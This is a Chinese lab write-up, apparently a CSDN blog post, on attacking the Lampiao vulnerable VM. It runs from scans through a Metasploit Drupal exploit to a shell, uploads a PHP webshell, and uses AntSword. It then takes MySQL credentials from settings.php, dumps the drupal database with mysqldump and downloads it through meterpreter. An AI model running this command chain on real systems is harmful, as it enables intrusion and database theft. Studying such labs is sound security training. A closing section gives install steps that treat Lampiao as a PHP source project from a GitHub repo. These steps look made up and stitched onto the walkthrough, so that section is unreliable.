靶场实战——Lampiao

一、目的

        实现对数据库的拖库。

二、环境准备

1、攻击机kali(NAT模式)

2、Navicat

3、靶场Lampiao(NAT模式)

三、操作

1、信息收集

(1)使用nmap扫描网段内的所有ip地址

(2)扫描系统版本和端口开放情况

为了进一步确认,进行系统版本扫描 ,顺便进行端口扫描

观察发现,开放了ssh端口、http的80端口、以及比较特殊的1898端口。但是没有开放mysql的3306端口。

(3)浏览器访问80端口

应该是没啥作用。分析1898端口以及"Cymtec-port" ,可能是一个自定义设置的端口,用于实现类似的重定向或代理功能。

访问1898端口:

成功访问。

2、扫描网站目录及漏洞

(1)使用dirb扫描

(2)使用AWSV扫描

3、msfconsole 

(1)分析漏洞并运用

        通过"Current Drupal version: 7.54"可以得知目标网站Drupal 框架版本为7.54,于 2017 年 8 月 2 日发布。

        在msfconsole中搜索该模块,,命令:

search Drupal

use 1

show options

set rhosts 目标主机ip

set rport 1898

run

getuid

成功获取Lampiao主机的getshell

 (2)上传一句话木马

命令:

upload /root/muma_make/shell.php

(3)蚁剑连接

利用蚁剑的虚拟终端功能来操作目标主机(此时目标主机权限还是有限制的)

 4、数据库拖库

1、查看端口情况

        命令:

netstat -antp

2、本机拖库

(1)查找mysql启动文件

        命令:

whereis mysql

ls | grep mysql

./mysql

(2)寻找mysql用户名和密码

        第一步:由于Lampiao网站使用的是Drupal框架,搜索得知该框架的配置文件名为settings.php

        命令:

find / -name settings.php 2>/dev/null

cat /var/www/html/sites/default/settings.php

寻找mysql配置

(3) 本机登录mysql

        命令:

./mysql -udrupaluser -pVirgulino

show database;

既然可以成功登录,那么可以尝试使用登录携带命令一起执行的操作来获取数据名称

mysql -udrupaluser -pVirgulino -e "show databases;"

结果:

Database
information_schema
drupal

(4)拖库

        命令:

mysqldump -udrupaluser -pVirgulino --database drupal>drupal3.sql

#利用mysqldump执行文件将名为drupal的数据库导出,导出的文件名为drupal.sql

在/var/www/html 目录下执行

/usr/bin/mysqldump -udrupaluser -pVirgulino --database drupal>drupal_test.sql

利用meterpreter模块下载文件:drupal_test.sql

download /var/www/html/drupal_test.sql

成功下载,拖库成功。

为了安装Lampiao靶机,您可以按照以下步骤进行操作: 1. 首先,您需要准备一个基于Linux的操作系统,比如Ubuntu或者Kali Linux。 2. 在您选择的操作系统上安装Apache服务器、MySQL数据库和PHP解释器,这就是所谓的LAMP堆栈。 - 对于Ubuntu,您可以使用以下命令安装LAMP堆栈: ``` sudo apt update sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql ``` - 对于Kali Linux,您可以使用以下命令安装LAMP堆栈: ``` sudo apt update sudo apt install apache2 mariadb-server php libapache2-mod-php php-mysql ``` 3. 安装完成后,您需要下载Lampiao靶机的源代码。您可以在Lampiao的GitHub存储库上找到源代码:https://github.com/felipefacundes/lampiao 4. 解压下载的源代码包,并将其复制到Apache服务器的网页根目录下,默认情况下是`/var/www/html/`。 5. 接下来,您需要创建一个MySQL数据库并导入Lampiao的数据。进入MySQL命令行界面并执行以下命令: - 创建数据库: ``` CREATE DATABASE lampiao; ``` - 导入数据: ``` USE lampiao; SOURCE /path/to/lampiao.sql; ``` 将`/path/to/lampiao.sql`替换为实际的lampiao.sql文件路径。 6. 配置Lampiao的数据库连接。编辑Lampiao源代码中的`config.php`文件,并根据您的MySQL配置进行相应的更改。 7. 最后,启动Apache服务器并访问Lampiao靶机。在浏览器中输入服务器的IP地址或域名,您应该能够看到Lampiao的登录页面。 请注意,Lampiao是一个漏洞靶场,仅供学习和研究目的使用。在安装和使用Lampiao时,请确保您遵守当地法律和道德准则。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值